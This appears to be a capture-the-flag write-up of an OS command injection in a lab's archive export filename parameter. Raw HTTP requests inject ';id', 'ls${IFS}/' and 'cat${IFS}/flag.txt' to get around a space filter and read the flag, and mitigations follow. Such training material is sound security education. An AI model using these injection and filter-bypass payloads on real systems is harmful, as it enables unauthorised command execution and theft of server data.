Post

OS Command Injection via Archive Export Filename | Parchive

OS Command Injection via Archive Export Filename | Parchive

Lab: Parchive


Overview

Parchive is a legal document archival platform that allows users to export case files into downloadable archives.

During testing, the archive export functionality was found to unsafely process user-controlled archive names when generating compressed files on the server. Rather than validating archive names against a strict allowlist, the application relied on weak filtering before passing user input into an operating system command.

By injecting shell metacharacters into the archive name parameter, arbitrary operating system commands could be executed as the web server user.


Objective

Exploit the archive export functionality to achieve command execution and retrieve the flag from the underlying system.


Vulnerability Identification

Classification Hierarchy

1
2
3
4
A05 - Injection
└── Command Injection
    └── OS Command Injection
        └── User-Controlled Archive Filename

Reconnaissance

The application provides an archive export feature for legal case files.

Reviewing the frontend JavaScript reveals the request responsible for archive generation:

1
2
3
4
5
6
7
8
9
10
fetch('/export', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  body: new URLSearchParams({
    case_id: caseId,
    archive_name: archName
  })
});

The export endpoint accepts:

1
2
case_id
archive_name

Because archive names are often passed into backend compression utilities such as tar or zip, the parameter becomes an interesting injection target.


Identifying the Injection Point

A normal request appears as:

1
2
3
4
5
POST /export HTTP/2
Host: 72f092ef-4065-parchive-4669e.challenges.webverselabs-pro.com
Content-Type: application/x-www-form-urlencoded

case_id=case-7741&archive_name=file

Response:

1
2
3
4
5
{
  "success": true,
  "output": "",
  "download": "/dl/file"
}

The archive name is reflected into the generated output path, suggesting it may be incorporated into a backend command.


Testing for Command Injection

A semicolon is introduced to terminate the expected command and execute an additional command.

1
2
3
4
5
POST /export HTTP/2
Host: 72f092ef-4065-parchive-4669e.challenges.webverselabs-pro.com
Content-Type: application/x-www-form-urlencoded

case_id=case-7741&archive_name=file;id

Response:

1
2
3
4
5
{
  "success": true,
  "output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n",
  "download": "/dl/file;id"
}

The response confirms arbitrary command execution as:

1
www-data

The application is vulnerable to OS Command Injection.


Space Filtering Bypass

Initial filesystem enumeration attempts fail because spaces are removed before execution.

Example:

1
file;find / -name "flag" 2>/dev/null

Results in:

1
/bin/sh: 1: find/-nameflag2: not found

The application strips literal spaces from supplied commands.

To bypass this restriction, the shell variable:

1
${IFS}

is used.

${IFS} expands to the shell’s Internal Field Separator and functions as a space during command parsing.


Enumerating the Filesystem

Using ${IFS} successfully bypasses the filter.

1
2
3
4
5
POST /export HTTP/2
Host: 72f092ef-4065-parchive-4669e.challenges.webverselabs-pro.com
Content-Type: application/x-www-form-urlencoded

case_id=case-7741&archive_name=file;ls${IFS}/

Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
app
bin
boot
dev
entrypoint.sh
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
uploads
usr
var

The root directory contains:

1
/flag.txt

Retrieving the Flag

Read the file directly using:

1
2
3
4
5
POST /export HTTP/2
Host: 72f092ef-4065-parchive-4669e.challenges.webverselabs-pro.com
Content-Type: application/x-www-form-urlencoded

case_id=case-7741&archive_name=file;cat${IFS}/flag.txt

Response:

1
2
3
4
5
{
  "success": true,
  "output": "WEBVERSE{52a9c24e3a4d44e19a276d1c742c3ad4}\n",
  "download": "/dl/file;cat${IFS}/flag.txt"
}

Flag

1
WEBVERSE{52a9c24e3a4d44e19a276d1c742c3ad4}

Proof of Exploitation

Successful command execution:

1
uid=33(www-data) gid=33(www-data)

Filesystem enumeration:

1
ls${IFS}/

Sensitive file disclosure:

1
cat${IFS}/flag.txt

Root Cause Analysis

The application constructs operating system commands using unsanitized user input.

A vulnerable implementation would resemble:

1
exec(`tar -czf ${archive_name}.tar.gz ${caseDir}`);

Because user-controlled data is passed directly into a shell interpreter, metacharacters such as:

1
2
3
4
5
;
&&
||
$()
`

can alter command execution flow.

The application’s blacklist-based filtering fails to prevent command injection and can be bypassed using shell parsing techniques such as ${IFS}.


Impact

An attacker can:

  • Execute arbitrary operating system commands
  • Enumerate the filesystem
  • Read sensitive files
  • Access application secrets
  • Potentially achieve full server compromise

In real-world environments, command injection vulnerabilities frequently lead to complete application takeover.


Mitigation

Avoid Shell Execution

Use safe APIs such as:

1
2
spawn()
execFile()

instead of:

1
exec()

when handling user input.

Enforce Strict Allowlists

Restrict archive names to known-safe characters:

^[a-zA-Z0-9._-]+$

Reject all shell metacharacters.

Avoid String Concatenation

Never build shell commands directly from user input.

Apply Least Privilege

Run export processes using dedicated low-privilege accounts with restricted filesystem access.


Real-World Insight

Archive-generation features frequently become command injection targets because developers wrap utilities such as:

1
2
3
4
tar
zip
7z
gzip

inside shell commands.

Attackers routinely abuse shell parsing features and bypass weak blacklist filters using techniques such as:

1
2
3
4
5
${IFS}
$()
;
&&
||

The Parchive challenge demonstrates a critical security principle:

If untrusted input reaches a shell interpreter, attackers control far more than the intended parameter.

This post is licensed under CC BY 4.0 by the author.